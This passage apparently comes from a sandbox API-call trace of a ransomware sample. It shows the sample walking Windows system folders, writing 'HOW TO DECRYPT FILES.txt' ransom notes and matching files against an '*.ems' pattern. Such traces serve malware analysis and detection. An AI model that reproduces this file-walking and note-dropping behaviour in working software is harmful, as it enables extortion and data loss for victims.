(lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.074] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.074] CloseHandle (hObject=0xffffffff) returned 0 [0127.074] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.diagpkg" [0127.074] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.diagpkg", pszSpec="*.ems") returned 0 [0127.074] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195618c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1195618c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb5aa10, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0127.074] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.074] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0127.074] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0127.074] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0127.074] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0127.075] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" [0127.075] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\") returned="" [0127.075] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" [0127.075] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\how to decrypt files.txt")) returned 0xffffffff [0127.075] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.075] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.075] CloseHandle (hObject=0xffffffff) returned 0 [0127.075] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.dll" [0127.075] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.dll", pszSpec="*.ems") returned 0 [0127.076] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0127.076] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0127.076] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0127.076] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\DiagPackage.dll") returned="DiagPackage.dll" [0127.076] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US" [0127.076] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501570, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.077] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.077] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.077] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.077] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0127.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.077] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0127.077] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0127.077] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0127.077] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\*.*") returned="*.*" [0127.077] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\" [0127.077] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\") returned="" [0127.077] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt" [0127.077] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0127.078] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.078] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.078] CloseHandle (hObject=0xffffffff) returned 0 [0127.078] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\CL_LocalizationData.psd1" [0127.078] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\CL_LocalizationData.psd1", pszSpec="*.ems") returned 0 [0127.078] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0127.079] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0127.079] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0127.079] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0127.079] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0127.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\" [0127.079] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\") returned="" [0127.079] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt" [0127.079] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0127.079] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.080] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.081] CloseHandle (hObject=0xffffffff) returned 0 [0127.081] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\DiagPackage.dll.mui" [0127.081] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\DiagPackage.dll.mui", pszSpec="*.ems") returned 0 [0127.081] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0127.082] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0127.082] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe14582dd, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xe14582dd, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xe14582dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd07, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="TS_Connectivity.ps1", cAlternateFileName="")) returned 1 [0127.082] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.082] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_Connectivity.ps1") returned -1 [0127.082] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_Connectivity.ps1") returned -1 [0127.082] lstrcmpiA (lpString1="", lpString2="TS_Connectivity.ps1") returned -1 [0127.082] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\*.*") returned="*.*" [0127.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" [0127.082] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\") returned="" [0127.082] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" [0127.082] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\how to decrypt files.txt")) returned 0xffffffff [0127.082] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsupdate\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.083] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.083] CloseHandle (hObject=0xffffffff) returned 0 [0127.083] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\", lpString2="TS_Connectivity.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\TS_Connectivity.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\TS_Connectivity.ps1" [0127.083] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsUpdate\\TS_Connectivity.ps1", pszSpec="*.ems") returned 0 [0127.083] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe14582dd, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xe14582dd, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xe14582dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd07, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="TS_Connectivity.ps1", cAlternateFileName="")) returned 0 [0127.083] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.083] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~3")) returned 0 [0127.083] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0127.084] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630073, dwReserved1=0x650068, cFileName="system", cAlternateFileName="")) returned 0 [0127.084] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0127.084] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690064, dwReserved1=0x670061, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1 [0127.084] lstrcmpA (lpString1=".", lpString2="DigitalLocker") returned -1 [0127.084] lstrcmpA (lpString1="..", lpString2="DigitalLocker") returned -1 [0127.084] PathFindFileNameA (pszPath="C:\\Windows\\*.*") returned="*.*" [0127.084] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="DigitalLocker" | out: lpString1="C:\\Windows\\DigitalLocker") returned="C:\\Windows\\DigitalLocker" [0127.084] FindFirstFileA (in: lpFileName="C:\\Windows\\DigitalLocker\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x706f7265, dwReserved1=0x6c6c642e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0127.085] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.085] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x6c6c0000, cFileName="..", cAlternateFileName="")) returned 1 [0127.085] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.085] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.085] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0127.086] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0127.086] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0127.086] PathFindFileNameA (pszPath="C:\\Windows\\DigitalLocker\\*.*") returned="*.*" [0127.086] lstrcatA (in: lpString1="C:\\Windows\\DigitalLocker\\", lpString2="en-US" | out: lpString1="C:\\Windows\\DigitalLocker\\en-US") returned="C:\\Windows\\DigitalLocker\\en-US" [0127.086] FindFirstFileA (in: lpFileName="C:\\Windows\\DigitalLocker\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.086] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.087] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.087] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.087] lstrcmpA (lpString1=".", lpString2="Downloaded Program Files") returned -1 [0127.087] lstrcmpA (lpString1="..", lpString2="Downloaded Program Files") returned -1 [0127.087] PathFindFileNameA (pszPath="C:\\Windows\\*.*") returned="*.*" [0127.087] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="Downloaded Program Files" | out: lpString1="C:\\Windows\\Downloaded Program Files") returned="C:\\Windows\\Downloaded Program Files" [0127.087] FindFirstFileA (in: lpFileName="C:\\Windows\\Downloaded Program Files\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0065, dwReserved1=0x55002d, cFileName=".", cAlternateFileName="")) returned 0x502618 [0127.088] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.088] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.088] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.088] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.088] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0127.088] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0127.088] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0127.088] PathFindFileNameA (pszPath="C:\\Windows\\Downloaded Program Files\\*.*") returned="*.*" [0127.088] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Downloaded Program Files\\" | out: lpString1="C:\\Windows\\Downloaded Program Files\\") returned="C:\\Windows\\Downloaded Program Files\\" [0127.089] PathAddBackslashA (in: pszPath="C:\\Windows\\Downloaded Program Files\\" | out: pszPath="C:\\Windows\\Downloaded Program Files\\") returned="" [0127.089] lstrcatA (in: lpString1="C:\\Windows\\Downloaded Program Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Downloaded Program Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Downloaded Program Files\\HOW TO DECRYPT FILES.txt" [0127.089] GetFileAttributesA (lpFileName="C:\\Windows\\Downloaded Program Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\downloaded program files\\how to decrypt files.txt")) returned 0xffffffff [0127.089] CreateFileA (lpFileName="C:\\Windows\\Downloaded Program Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\downloaded program files\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0127.094] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.094] CloseHandle (hObject=0x84) returned 1 [0127.094] lstrcatA (in: lpString1="C:\\Windows\\Downloaded Program Files\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\Downloaded Program Files\\desktop.ini") returned="C:\\Windows\\Downloaded Program Files\\desktop.ini" [0127.094] PathMatchSpecA (pszFile="C:\\Windows\\Downloaded Program Files\\desktop.ini", pszSpec="*.ems") returned 0 [0127.099] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0127.099] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DtcInstall.log") returned 1 [0127.099] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DtcInstall.log") returned 1 [0127.099] lstrcmpiA (lpString1="", 